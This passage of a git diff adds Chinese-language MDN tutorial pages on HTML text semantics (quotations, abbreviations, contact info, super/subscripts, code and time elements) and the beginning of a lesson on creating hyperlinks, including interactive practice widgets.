class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = +`培根 +整个世界的粘合剂。 +鸡蛋 +一块蛋糕的粘合剂。 +咖啡 +一种浅棕色的饮料。 +可以在清晨带来活力。`; + const answer = +`<dl> + <dt>培根</dt> + <dd>整个世界的粘合剂。</dd> + <dt>鸡蛋</dt> + <dd>一块蛋糕的粘合剂。</dd> + <dt>咖啡</dt> + <dd>一种浅棕色的饮料。</dd> + <dd>可以在清晨带来活力。</dd> +</dl>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="引用">引用</h2> + +<p>HTML也有用于标记引用的特性,至于使用哪个元素标记,取决于你引用的是一块还是一行。</p> + +<h3 id="块引用">块引用</h3> + +<p>如果一个块级内容(一个段落、多个段落、一个列表等)从其他地方被引用,你应该把它用{{htmlelement("blockquote")}}元素包裹起来表示,并且在{{htmlattrxref("cite","blockquote")}}属性里用URL来指向引用的资源。例如,下面的例子就是引用的MDN的<code><blockquote></code>元素页面:</p> + +<pre class="brush: html notranslate"><p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block +Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p></pre> + +<p>要把这些转换为块引用,我们要这样做:</p> + +<pre class="brush: html notranslate"><blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"> + <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block + Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> +</blockquote></pre> + +<p>浏览器在渲染块引用时默认会增加缩进,作为引用的一个指示符;MDN是这样做的,但是也增加了额外的样式:</p> + +<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"> +<p>The <strong>HTML <code><blockquote></code> Element</strong> (or <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> +</blockquote> + +<h3 id="行内引用">行内引用</h3> + +<p>行内元素用同样的方式工作,除了使用{{htmlelement("q")}}元素。例如,下面的标记包含了从MDN<code><q></code>页面的引用:</p> + +<pre class="brush: html notranslate"><p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended +for short quotations that don't require paragraph breaks.</q></p> +</pre> + +<p>浏览器默认将其作为普通文本放入引号内表示引用,就像下面:</p> + +<p>The quote element — <code><q></code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended for short quotations that don't require paragraph breaks.</q>(<q>元素旨在用于不需要分段的短引用)</p> + +<h3 id="引文">引文</h3> + +<p>{{htmlattrxref("cite","blockquote")}}属性内容不会被浏览器显示、屏幕阅读器阅读,需使用 JavaScript 或 CSS,浏览器才会显示<code>cite</code>的内容。如果你想要确保引用的来源在页面上是可显示的,更好的方法是为{{htmlelement("cite")}}元素附上链接:</p> + +<pre class="brush: html notranslate"><p>According to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"> +<cite>MDN blockquote page</cite></a>: +</p> + +<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"> + <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block + Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> +</blockquote> + +<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended +for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"> +<cite>MDN q page</cite></a>.</p> +</pre> + +<p>引文默认的字体样式为斜体。你可以在<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html">quotations.html</a>中参看代码。</p> + +<h3 id="主动学习:是谁说的?">主动学习:是谁说的?</h3> + +<p>到了主动学习的时间!在这个例子中我们想要你:</p> + +<ol> + <li>把中间的段落变成块引用,它要包含<code>cite</code>属性</li> + <li>把第三个段落的一部分变成行内引用,它要包含<code>cite</code>属性</li> + <li>每一个引用都要包含<code><cite></code>元素</li> +</ol> + +<p>你需要的引用源:</p> + +<ul> + <li>http://www.brainyquote.com/quotes/authors/c/confucius.html 对应 "孔子曰"。</li> + <li>http://www.affirmationsforpositivethinking.com/ 对应 "不要说泄气的话"。</li> +</ul> + +<p>如果你做错了,你可以随时点击【重置】按钮。如果实在进行不下去,可以点击【显示答案】。</p> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><code><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 160px; } + .input { min-height: 160px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = +`<p>你好!欢迎访问我的激励网页!孔子曰:</p> +<p>譬如为山,未成一篑,止,吾止也。譬如平地,虽覆一篑,进,吾往也。</p> +<p>要保持乐观,不要说泄气的话。(源自 Affirmations for Positive Thinking。)</p>`; + const answer = +`<p>你好!欢迎访问我的激励网页!<a href="</code>http://www.brainyquote.com/quotes/authors/c/confucius.html<code>"><cite>孔子</cite></a>曰:</p> +<blockquote cite="https://zh.wikipedia.org/zh-hans/孔子"> + <p>譬如为山,未成一篑,止,吾止也。譬如平地,虽覆一篑,进,吾往也。</p> +</blockquote> +<p>要保持乐观,<q cite="http://www.affirmationsforpositivethinking.com/">不要说泄气的话</q>。(源自 <a href="http://www.affirmationsforpositivethinking.com/"><cite>Affirmations for Positive Thinking</cite></a>。)</p>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="缩略语">缩略语</h2> + +<p>另一个你在web上看到的相当常见的元素是{{htmlelement("abbr")}}——它常被用来包裹一个缩略语或缩写,并且提供缩写的解释(包含在{{htmlattrxref("title")}}属性中)。让我们看看下面两个例子:</p> + +<pre class="brush: html notranslate"><p>我们使用 <abbr title="超文本标记语言(Hyper text Markup Language)">HTML</abbr> 来组织网页文档。</p> + +<p>第 33 届 <abbr title="夏季奥林匹克运动会">奥运会</abbr> 将于 2024 年 8 月在法国巴黎举行。</p> +</pre> + +<p>这些代码的显示效果如下(当光标移动到项目上时会出现提示):</p> + +<p>我们使用 <abbr title="超文本标记语言(Hypertext Markup Language)">HTML</abbr> 来组织网页文档。</p> + +<p>第 33 届 <abbr title="夏季奥林匹克运动会">奥运会</abbr> 将于 2024 年 8 月在法国巴黎举行。</p> + +<div class="note"> +<p><strong>Note</strong>: 还有另一个元素<acronym>,它基本上与<abbr>相同,专门用于首字母缩略词而不是缩略语。 然而,这已经被废弃了 - 它在浏览器的支持中不如<abbr>,并且具有类似的功能,所以没有意义。 只需使用<abbr>。</p> +</div> + +<h3 id="主动学习:标记一个缩略语">主动学习:标记一个缩略语</h3> + +<p>在这个简单的主动学习任务中,我们希望你简单地标记一个缩写。你可以使用下面的示例,或者用自己的示例来替换。</p> + +<div class="hidden"> +<h6 id="Playable_code_3">Playable code 3</h6> + +<pre class="brush: html notranslate"><code><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 100px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = '<p>NASA 做了一些动人心弦的事情。</p>'; + const answer = '<p><abbr title="美国国家航空航天局(National Aeronautics and Space Administration)">NASA</abbr> 做了一些动人心弦的事情。</p>'; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="标记联系方式">标记联系方式</h2> + +<p>HTML有个用于标记联系方式的元素——{{htmlelement("address")}}。它仅仅包含你的联系方式,例如:</p> + +<pre class="brush: html notranslate"><address> + <p>Chris Mills, Manchester, The Grim North, UK</p> +</address></pre> + +<p>但要记住的一点是,<code><address></code>元素是为了标记编写HTML文档的人的联系方式,而不是任何其他的内容。因此,如果这是Chris写的文档,上面的内容将会很好。注意,下面的内容也是可以的:</p> + +<pre class="brush: html notranslate"><address> + <p>Page written by <a href="../authors/chris-mills/">Chris Mills</a>.</p> +</address></pre> + +<h2 id="上标和下标">上标和下标</h2> + +<p>当你使用日期、化学方程式、和数学方程式时会偶尔使用上标和下标。 {{htmlelement("sup")}} 和{{htmlelement("sub")}}元素可以解决这样的问题。例如:</p> + +<pre class="brush: html notranslate"><p>咖啡因的化学方程式是 C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>。</p> +<p>如果 x<sup>2</sup> 的值为 9,那么 x 的值必为 3 或 -3。</p> +</pre> + +<p>这些代码输出的结果是:</p> + +<p>咖啡因的化学方程式是 C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>。</p> + +<p>如果 x<sup>2</sup> 的值为 9,那么 x 的值必为 3 或 -3。</p> + +<h2 id="展示计算机代码">展示计算机代码</h2> + +<p>有大量的HTML元素可以来标记计算机代码:</p> + +<ul> + <li>{{htmlelement("code")}}: 用于标记计算机通用代码。</li> + <li>{{htmlelement("pre")}}: 用于保留空白字符(通常用于代码块)——如果您在文本中使用缩进或多余的空白,浏览器将忽略它,您将不会在呈现的页面上看到它。但是,如果您将文本包含在<code><pre></pre></code>标签中,那么空白将会以与你在文本编辑器中看到的相同的方式渲染出来。</li> + <li>{{htmlelement("var")}}: 用于标记具体变量名。</li> + <li>{{htmlelement("kbd")}}: 用于标记输入电脑的键盘(或其他类型)输入。</li> + <li>{{htmlelement("samp")}}: 用于标记计算机程序的输出。</li> +</ul> + +<p>让我们看看一些例子。你应该尝试运行一下(尝试运行一下<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html">other-semantics.html</a>样例文件的拷贝):</p> + +<pre class="brush: html notranslate"><pre><code>const para = document.querySelector('p'); + +para.onclick = function() { + alert('噢,噢,噢,别点我了。'); +}</code></pre> + +<p>请不要使用 <code>&lt;font&gt;</code> 、 <code>&lt;center&gt;</code> 等表象元素。</p> + +<p>在上述的 JavaScript 示例中,<var>para</var> 表示一个段落元素。</p> + + +<p>按 <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd> 选择全部内容。</p> + +<pre>$ <kbd>ping mozilla.org</kbd> +<samp>PING mozilla.org (63.245.215.20): 56 data bytes +64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre> +</pre> + +<p>上面的代码显示效果如下:</p> + +<p>{{ EmbedLiveSample('展示计算机代码','100%',300, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="标记时间和日期">标记时间和日期</h2> + +<p>HTML 还支持将时间和日期标记为可供机器识别的格式的 {{htmlelement("time")}} 元素。例如:</p> + +<pre class="brush: html notranslate"><<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>>2016年1月20日</<span class="pl-ent">time</span>></pre> + +<p>为什么需要这样做?因为世界上有许多种书写日期的格式,上边的日期可能被写成:</p> + +<ul> + <li>20 January 2016</li> + <li>20th January 2016</li> + <li>Jan 20 2016</li> + <li>20/06/16</li> + <li>06/20/16</li> + <li>The 20th of next month</li> + <li><span lang="fr">20e Janvier 2016</span></li> + <li><span lang="ja">2016年1月20日</span></li> + <li><span lang="ja">And so on</span></li> +</ul> + +<p>但是这些不同的格式不容易被电脑识别 — 假如你想自动抓取页面上所有事件的日期并将它们插入到日历中,{{htmlelement("time")}} 元素允许你附上清晰的、可被机器识别的 时间/日期来实现这种需求。</p> + +<p>上述基本的例子仅仅提供了一种简单的可被机器识别的日期格式,这里还有许多其他支持的格式,例如:</p> + +<pre class="brush: html notranslate"><!-- 标准简单日期 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>>20 January 2016</<span class="pl-ent">time</span>> +<!-- 只包含年份和月份--> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01<span class="pl-pds">"</span></span>>January 2016</<span class="pl-ent">time</span>> +<!-- 只包含月份和日期 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>01-20<span class="pl-pds">"</span></span>>20 January</<span class="pl-ent">time</span>> +<!-- 只包含时间,小时和分钟数 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>19:30<span class="pl-pds">"</span></span>>19:30</<span class="pl-ent">time</span>> +<!-- 还可包含秒和毫秒 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span></span>19:30:01.856<span class="pl-s"><span class="pl-pds">"</span></span>>19:30:01.856</<span class="pl-ent">time</span>> +<!-- 日期和时间 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">"</span></span>>7.30pm, 20 January 2016</<span class="pl-ent">time</span>> +<!-- 含有时区偏移值的日期时间 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">+01:00"</span></span>>7.30pm, 20 January 2016 is 8.30pm in France</<span class="pl-ent">time</span>> +<!-- 调用特定的周 --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-W04<span class="pl-pds">"</span></span>>The fourth week of 2016</<span class="pl-ent">time</span>></pre> + +<h2 id="总结">总结</h2> + +<p>到这里你就完成了 HTML 语义文本元素的学习。但要记住,你在本课程中学到的并不是 HTML 文本元素的详细列表 — 我们想要尽量覆盖主要的、通用的、常见的,或者至少是有趣的部分。如果你想找到更多的 HTML 元素,可以看一看我们的<a href="/zh-CN/docs/Web/HTML/Element">HTML 元素参考</a>(从 <a href="/zh-CN/docs/Web/HTML/Element#内联文本语义">内联文本语义</a>部分开始会是一个好的选择) 。在下一篇文章中我们将会学习用来组织 HTML 文档不同部分的 HTML 元素。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/文件和网站结构", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/zh-cn/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..63ad5724ad --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,323 @@ +--- +title: 建立超链接 +slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +tags: + - HTML指南 + - URL + - 超链接 +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary"><span id="result_box" lang="zh-CN"><span>超链接非常重要 ——它们使互联网成为一个互联的网络。</span><span>本文介绍了创建链接所需的语法,并且讨论了链接的最佳实现方法。</span></span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>熟悉基本HTML(包含在<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started"> 开始学习HTML</a>中),HTML 文本格式(包含在 <a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML文字基础</a> 中)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何实现一个有效地把多个文件链接在一起的超文本链接。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是超链接">什么是超链接?</h2> + +<p><span id="result_box" lang="zh-CN"><span>超链接是互联网提供的最令人兴奋的创新之一,</span><span>它们从一开始就一直是互联网的一个特性,使互联网成为互联的网络。超链接使我们能够将我们的文档链接到任何其他文档(或其他资源),也可以链接</span><span>到文档的指定部分,我们可以在一个简单的网址上提供应用程序(与必须先安装的本地应用程序或其他东西相比)。几乎任何网络内容都可以转换为链接,</span><span>点击(或激活)超链接将使网络浏览器转到另一个网址({{glossary("URL")}})。</span></span></p> + +<div class="note"> +<p>注意:URL可以指向HTML文件、文本文件、图像、文本文档、视频和音频文件以及可以在网络上保存的任何其他内容。 如果浏览器不知道如何显示或处理文件,它会询问您是否要打开文件(需要选择合适的本地应用来打开或处理文件)或下载文件(以后处理它)。</p> +</div> + +<p><span lang="zh-CN"><span>以 BBC 的主页为例,里面就包含了非常多的连结,各自连到不同新闻、网站的其它地方(导览功能),或者登入/注册页面等等。</span></span></p> + +<p><img alt="frontpage of bbc.co.uk, showing many news items, and navigation menu functionality" src="https://mdn.mozillademos.org/files/17032/updated-bbc-website.png"></p> + +<h2 id="链接的解析"><span class="short_text" id="result_box" lang="zh-CN"><span>链接的解析</span></span></h2> + +<p><span id="result_box" lang="zh-CN"><span>通过将文本(或其他内容,见{{anch("块级链接")}})转换为{{htmlelement("a")}}元素内的链接来创建基本链接,</span> <span>给它一个{{htmlattrxref("href", "a")}}属性(也称为目标),它将包含您希望链接指向的网址。</span></span></p> + +<pre class="brush: html notranslate"><p>我创建了一个指向 +<a href="https://www.mozilla.org/zh-CN/">Mozilla 主页</a> +的超链接。 +</p></pre> + +<p><span class="short_text" id="result_box" lang="zh-CN"><span>结果如下所示:</span></span></p> + +<p>我创建了一个指向 <a href="https://www.mozilla.org/zh-CN/">Mozilla 主页</a> 的超链接。</p> + +<h3 id="使用title属性添加支持信息"><span class="short_text" id="result_box" lang="zh-CN"><span>使用title属性添加支持信息</span></span></h3> + +<p><span id="result_box" lang="zh-CN"><span>您可能要添加到您的链接的另一个属性是标题;</span><span>这旨在包含关于链接的补充有用信息,例如页面包含什么样的信息或需要注意的事情。</span> <span>例如:</span></span></p> + +<pre class="brush: html notranslate"><p>我创建了一个指向 +<a href="https://www.mozilla.org/zh-CN/" + title="了解 Mozilla 使命以及如何参与贡献的最佳站点。">Mozilla 主页</a> +的超链接。 +</p></pre> + +<p><span class="short_text" id="result_box" lang="zh-CN"><span>结果如下(当鼠标指针悬停在链接上时,标题将作为提示信息出现):</span></span></p> + +<p>我创建了一个指向 <a href="https://www.mozilla.org/zh-CN/">Mozilla 主页</a> 的超链接。</p> + +<div class="note"> +<p>注意:链接的标题仅当鼠标悬停在其上时才会显示,这意味着使用键盘来导航网页的人很难获取到标题信息。如果标题信息对于页面非常重要,你应该使用所有用户能都方便获取的方式来呈现,例如放在常规文本中。</p> +</div> + +<h3 id="主动学习:创建您自己的示例链接"><span class="short_text" id="result_box" lang="zh-CN"><span>主动学习:创建您自己的示例链接</span></span></h3> + +<p><span class="short_text" id="result_box" lang="zh-CN"><span>主动学习时间:我们希望您使用本地代码编辑器创建一个HTML文档(我们的</span></span> <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">入门模板</a> 很适合<span class="short_text" lang="zh-CN"><span>)</span></span></p> + +<ul> + <li>在HTML内,尝试添加一个或者多个段落或其他你知道类型的内容。</li> + <li>将某些内容转换为链接。</li> + <li>包含标题属性。</li> +</ul> + +<h3 id="块级链接">块级链接</h3> + +<p>如上所述,你可以将一些内容转换为链接,甚至是<a href="/zh-CN/docs/Web/HTML/Block-level_elements">块级元素</a>。例如你想要将一个图像转换为链接,你只需把图像元素放到<code><a></a></code>标签中间。</p> + +<pre class="brush: html notranslate"><a href="https://www.mozilla.org/zh-CN/"> + <img src="mozilla-image.png" alt="链接至 Mozilla 主页的 Mozilla 标志"> +</a></pre> + +<div class="note"> +<p><strong>注意</strong>: 你会在未来的文章中发现更多在Web中使用图像的例子。</p> +</div> + +<h2 id="统一资源定位符URL与路径path快速入门">统一资源定位符(URL)与路径(path)快速入门</h2> + +<p>要全面地了解链接目标,你需要了解统一资源定位符和文件路径。本小节将介绍相关的信息。</p> + +<p>统一资源定位符(英文:<strong>U</strong>niform <strong>R</strong>esource <strong>L</strong>ocator,简写:URL)是一个定义了在网络上的位置的一个文本字符串。例如 Mozilla 的中文主页定位在 <code>https://www.mozilla.org/zh-CN/</code>.</p> + +<p>URL使用路径查找文件。路径指定文件系统中您感兴趣的文件所在的位置。看一下一个简单的目录结构的例子(源码可查看 <a href="https://github.com/roy-tian/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks">创建超链接(creating-hyperlinks</a>)。)<img alt="A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p> + +<p>此目录结构的<strong>根目录</strong>称为<code>creating-hyperlinks</code>。当在网站上工作时, 你会有一个包含整个网站的目录。在根目录,我们有一个<code>index.html</code>和一个<code>contacts.html</code>文件。在真实的网站上,<code>index.html</code> 将会成为我们的主页或登录页面。</p> + +<p>我们的根目录还有两个目录—— <code>pdfs</code> 和<code>projects</code>,它们分别包含一个 PDF (<code>project-brief.pdf</code>) 文件和一个<code>index.html</code> 文件。请注意你可以有两个<code>index.html</code>文件,前提是他们在不同的目录下,许多网站就是如此。第二个<code>index.html</code>或许是项目相关信息的主登录界面。</p> + +<ul> + <li> + <p><strong>指向当前目录:</strong>如果<code>index.html</code>(目录顶层的<code>index.html</code>)想要包含一个超链接指向<code>contacts.html</code>,你只需要指定想要链接的文件名,因为它与当前文件是在同一个目录的. 所以你应该使用的URL是<code>contacts.html</code>:</p> + + <pre class="brush: html notranslate"><p>要联系某位工作人员,请访问我们的 <a href="contacts.html">联系人页面</a>。</p> +</pre> + </li> + <li> + <p><strong>指向子目录:</strong>如果<code>index.html</code> (目录顶层<code>index.html</code>)想要包含一个超链接指向 <code>projects/index.html</code>,您需要先进入<code>projects/</code>项目目录,然后指明要链接到的文件<code>index.html</code>。 通过指定目录的名称,然后是正斜杠,然后是文件的名称。因此您要使用的URL是<code>projects/index.html</code>:</p> + + <pre class="brush: html notranslate"><p>请访问 <a href="projects/index.html">项目页面</a>。</p></pre> + </li> + <li> + <p><strong>指向上级目录: </strong>如果你想在<code>projects/index.html</code>中包含一个指向<code>pdfs/project-brief.pdf</code>的超链接,你必须先返回上级目录,然后再回到<code>pdf</code>目录。“返回上一个目录级”使用两个英文点号表示 — <code>..</code> — 所以你应该使用的URL是 <code>../pdfs/project-brief.pdf</code>:</p> + + <pre class="brush: html notranslate"><p>点击打开 <a href="../pdfs/project-brief.pdf">项目简介</a>。</p></pre> + </li> +</ul> + +<div class="note"> +<p>注意:如果需要的话,你可以将这些功能的多个例子和复杂的url结合起来。例如:<code>../../../complex/path/to/my/file.html</code>.</p> +</div> + +<h3 id="文档片段">文档片段</h3> + 